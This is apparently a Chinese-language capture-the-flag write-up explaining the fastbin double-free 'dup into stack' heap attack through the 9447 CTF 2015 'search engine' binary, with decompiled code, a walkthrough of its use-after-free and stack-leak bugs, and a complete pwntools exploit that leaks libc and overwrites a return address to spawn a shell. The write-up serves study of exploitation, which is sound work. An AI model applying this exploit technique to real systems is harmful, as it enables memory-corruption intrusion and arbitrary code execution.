fastbin_attack-search

fastbin 劫持

最近在看GitHub上的how2heap ,专门讲针对堆的攻击方法。本篇是看了fastbin_dup_into_stack.c和对应的题目9447 ctf 2015 search engine进行的总结。

在看fastbin_dup_into_stack.c时我还不太清楚将fastbin劫持到栈中能起到什么作用,看了search engine明白了,劫持到栈中是为了直接覆写返回地址,执行shell。

fastbin劫持的原理

fastbin劫持的原理是,在双重释放之后,fastbin上会有两个相同的chunk,当其中一个chunk被分配并能够进行写操作时,另一个留在fastbin链表里的chunk对应的内容也会发生改变,通过覆写FD指针,将链表中的下一个结点指向我们可以操控的地方。需要注意的是,fastbin再分配之前会先检查当前这个chunk的大小是否与申请的大小一致,因此伪造的fastbin chunk的size字段必须满足条件。

fastbin attack

了解了原理之后再看search engine这道题。

search engine

基本逻辑

一个简单的搜索引擎,index a sentence输入一个句子,单词用空格作为分隔,每个单词放入一个结点中,记录单词的地址、大小以及所在句子的地址、大小,最后一个字段记录下一个结点的地址。单词链表类似于一个栈的结构,最后分隔的单词在链表的最顶端。一个node结点占40字节。

menu

1
2
3
4
5
6
7
8
9
struct node{
char * word; //8 bytes
int word_size; //4 bytes
int word_padding; //4 bytes
char * sentence; //8 bytes
int sentence_size; //4 bytes
int sentence_padding;//4 bytes
struct node *next; //8 bytes
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int input_sentence()
{
int size; // eax@1
__int64 v1; // rbp@1
int _size; // er13@1
char *sentence; // r12@2
signed __int64 v4; // rbx@2
signed __int64 v5; // rbp@2
struct word *v6; // rax@2
int v7; // edx@2
__int64 v8; // rdx@9
__int64 v10; // rdx@11

_puts("Enter the sentence size:");
size = input_num();
v1 = (unsigned int)(size - 1);
_size = size;
if ( (unsigned int)v1 > 0xFFFD )
puts("Invalid size");
_puts("Enter the sentence:");
sentence = (char *)malloc(_size);
input_str((__int64)sentence, _size, 0);
v4 = (signed __int64)(sentence + 1);
v5 = (signed __int64)&sentence[v1 + 2];
v6 = (struct word *)malloc(0x28uLL);
v7 = 0;
v6->word = (__int64)sentence;
v6->word_size = 0;
v6->sentence = (__int64)sentence;
v6->sentence_size = _size;
do
{
while ( *(_BYTE *)(v4 - 1) != ' ' )
{
v6->word_size = ++v7;
LABEL_4:
if ( ++v4 == v5 )
goto LABEL_8;
}
if ( v7 )
{
v10 = head;
head = (__int64)v6;
v6->next = v10;
v6 = (struct word *)malloc(0x28uLL);
v7 = 0;
v6->word = v4;
v6->word_size = 0;
v6->sentence = (__int64)sentence;
v6->sentence_size = _size;
goto LABEL_4;
}
v6->word = v4++;
}
while ( v4 != v5 );
LABEL_8:
if ( v7 )
{
v8 = head;
head = (__int64)v6;
v6->next = v8;
}
else
{
free(v6);
}
return _puts("Added sentence");
}

search with a word输入一个单词,从链表的头部开始查找相同单词,找到之后将对应的sentence置为0,并free sentence指针所指空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void search_word()
{
int size; // ebp@1
void *v1; // r12@2
struct word *i; // rbx@2
char v3; // [sp+0h] [bp-38h]@8

_puts("Enter the word size:");
size = input_num();
if ( (unsigned int)(size - 1) > 0xFFFD )
puts("Invalid size");
_puts("Enter the word:");
v1 = malloc(size);
input_str((__int64)v1, size, 0);
i = (struct word *)head;
if ( head )
{
do
{
if ( *(_BYTE *)i->sentence )
{
if ( i->word_size == size && !memcmp((const void *)i->word, v1, size) )
{
__printf_chk(1LL, "Found %d: ", i->sentence_size);
fwrite((const void *)i->sentence, 1uLL, i->sentence_size, stdout);
putchar(10);
_puts("Delete this sentence (y/n)?");
input_str((__int64)&v3, 2, 1);
if ( v3 == 'y' )
{
memset((void *)i->sentence, 0, i->sentence_size);
free((void *)i->sentence);
_puts("Deleted!");
}
}
}
i = (struct word *)i->next;
}
while ( i );
}
free(v1);
}

漏洞

本题共有两个漏洞:

第二个漏洞我确实没看出来,大概是不细心&平时我也是这么写的= =

  • 释放sentence之后对应指针没有置零,UAF漏洞和double-free漏洞。
  • input_num函数可以泄露栈中的内容。strtol函数的第二个参数endptr返回的是字符串中不能转换为数字的地址,当输入的首个字符就不能转换为数字时,即&nptr == endptr,input_num就会将输入的字符串打印出来。当输入的字符数量为48时,input_str不会向结尾加入NULL,由此可以读出字符串之后栈中的内容。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    int input_num()
    {
    int result; // eax@1
    char *endptr; // [sp+8h] [bp-50h]@1
    char nptr; // [sp+10h] [bp-48h]@1
    __int64 v3; // [sp+48h] [bp-10h]@1

    v3 = *MK_FP(__FS__, 40LL);
    input_str((__int64)&nptr, 48, 1);
    result = strtol(&nptr, &endptr, 0);
    if ( endptr == &nptr )
    {
    __printf_chk(1LL, "%s is not a valid number\n", &nptr);
    result = input_num();
    }
    *MK_FP(__FS__, 40LL);
    return result;
    }

    void __fastcall input_str(__int64 a1, int len, int a3)
    {
    int v3; // er14@2
    int idx; // ebx@2
    _BYTE *v5; // rbp@4
    int v6; // eax@4

    if ( len <= 0 )
    {
    idx = 0;
    }
    else
    {
    v3 = a3;
    idx = 0;
    while ( 1 )
    {
    v5 = (_BYTE *)(a1 + idx);
    v6 = fread((void *)(a1 + idx), 1uLL, 1uLL, stdin);
    if ( v6 <= 0 )
    break;
    if ( *v5 == 10 && v3 )
    {
    if ( idx )
    {
    *v5 = 0;
    return;
    }
    idx = v6 - 1;
    if ( len <= v6 - 1 )//没有在末尾加0
    break;
    }
    else
    {
    idx += v6;
    if ( len <= idx )//没有在末尾加0
    break;
    }
    }
    }
    if ( idx != len )
    puts("Not enough data");
    }

漏洞利用

有了以上两个漏洞,再结合fastbin_dup_into_stack.c来看,我们需要泄露栈中地址泄露libc地址(进而泄露system地址),将system函数写入栈中的返回地址处,执行system函数。

泄露栈地址(这个真的不是玄学吗??)

input_num函数是递归调用的,第一次输入48个字节后面没有其他东西,但是继续输入48个字节就有机会泄露栈中内容,即通过向上增长栈寻找可泄露的地址。

两次输入48字节

通过多次gdb的调试,发现泄露的内容是一个栈地址,但是我到现在还是不太明白,为什么这个栈地址加上某一偏移的地址其值能一直保持不变化。这里打一个问号。看别人的题解说,这里距离返回地址的位置比较近,可以确定的是,调用index sentence和 search word函数的返回地址都是0x400d60- 0x400e24范围内的,且压入返回地址的位置永恒不变,可以确定通过泄露的栈地址计算返回地址的栈地址,但是如何定位到含有“0x40”的地址,还没有搞清楚。

泄露libc地址

UAF漏洞可以达到这个目的。试想如果sentence(简称s1)的大小与一个node一样,都是40 bytes,那么当释放s1空间后,再输入一个新的sentence(简称s2,保证大小不是32-40字节,防止将刚释放的s1分配给它),这时会建立一个新的node(简称n2)存放word信息,就会将刚释放的s1的空间分配给n2,而且也能保证s1空间不再为NULL,绕过了对内容是否为空的检查: if ( *(_BYTE *)i->sentence )

由于s1释放之后没有把指针置空,导致原来的node的word和sentence指针仍指向原来的位置,通过search并删除s1,使 n2 引用的是已释放的空间。

继续把已经释放的s1分配给新的sentence(简称s3),并通过向s3里写内容,伪造一个假的node结点,使其中sentence指针指向puts@got,这样在search成功之后,就会输出puts@got中的puts地址,从而泄露libc地址。

system函数覆盖栈中返回地址

按照其他大佬的思路,在泄露的栈地址之后找到了0x40用于表示chunk_size的地址,且距离返回地址较近,接下来就可以通过fastbin劫持将fastbin链表结点指向这个栈中地址。

为了配合0x40这个大小,可以新建两个0x40长度的sentence a和b,按照程序逻辑b对应的node结点将会在word链表的顶端。

然后通过search删除它们,fastbin中的结构如下: fastbin -> a->b->NULL,由于node中的指针并没有置零,因此search的时候还会去检查已经释放的a和b空间是否符合条件。

search(’\x00’),先从word的顶端b对应的node开始检查,由于b中的FD指针为NULL,它不能通过if ( *(_BYTE *)i->sentence ) 的检测,接着来到a对应的node,即使node能够满足条件,但是由于a是fastbin中的第一个chunk,释放它将会引发错误。因此我们可以在最开始时候新建3个sentence a,b,c。这样fastbin中就是:fastbin ->a ->b -> c -> NULL ,然后再search(‘\00’),删除掉b保留a,达到双重释放的目的,fastbin结构变成:fastbin ->b ->a ->b ->……

释放之后,再申请相同大小的sentence导致b空间被分配,并通过改写b从而改掉处于fastbin中b的FD指针,使其指向栈中假的chunk。

接着把剩余的a和b再分配出去,再申请sentence将会返回栈中的假chunk,以写sentence的内容覆写返回地址。

exp

(栈中偏移地址部分参考了其他大佬的数据,整体思路也是顺着这位大佬来的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context(arch="amd64", os="linux")
context.log_level = 'debug'

p = process("./search")

def leak_stack():
p.recvuntil("Quit\n")
p.sendline("a"*48)
p.recvline()

p.sendline("b"*48)
leak = p.recvline().split(' ')[0][48:]
return int(leak[::-1].encode('hex'), 16)
def index(sentence):
#p.recvuntil("Quit\n")
p.sendline("2")
p.recvuntil("Enter the sentence size:\n")
p.sendline(str(len(sentence)))
p.recvuntil("Enter the sentence:\n")
p.sendline(sentence)
def search(word):
p.recvuntil("Quit\n")
p.sendline("1")
p.recvuntil("Enter the word size:\n")
p.sendline(str(len(word)))
p.recvuntil("Enter the word:\n")
p.sendline(word)
def leak_libc():
sentence = 'a'*12 + ' b '
sentence = sentence.ljust(40,'c')
index(sentence)

#delete s1
search('b')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('y')

#n4 use s1
index('d'*64)

#delete s1,but n4 still can use it=>UAF
search('\x00')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('y')

#a new sentence share space with n4
puts_got = 0x602028
node =p64(0x400E90) #"Enter"
node += p64(5)
node += p64(puts_got)
node += p64(64)

index(node)

#search 'Enter' to leak puts_address
search('Enter')
p.recvuntil("Found 64: ")
puts_addr = u64(p.recv(8))
print "###puts_addr:0x%x" %puts_addr
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('n')

return puts_addr
def overwrite_retn():
index('a'*54+' d')
index('b'*54+' d')
index('c'*54+' d')

# a->b->c->NULL
search('d')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('y')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('y')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('y')

# b->a->b->c->NULL
search('\x00')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('y')
p.recvuntil("Delete this sentence (y/n)?")
p.sendline('n')

# fake fastbin
index(p64(stack_addr).ljust(56,'e'))

# malloc a and b
index('f'*56)
index('g'*56)

# overwrite the ret address with gadget
pop_ret = 0x400e23
sentence = 'A'*30
sentence += p64(pop_ret)
sentence += p64(binsh_addr)
sentence += p64(system_addr)

index(sentence)


#leak stack address
stack_leak = leak_stack()
stack_addr = stack_leak + 0x22 - 8

#leak libc address
puts_addr = leak_libc()
libc = ELF('libc.so')
system_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
binsh_addr = puts_addr - (libc.symbols['puts']-next(libc.search('/bin/sh')))

#double free to edit the retn address in stack
overwrite_retn()

p.interactive()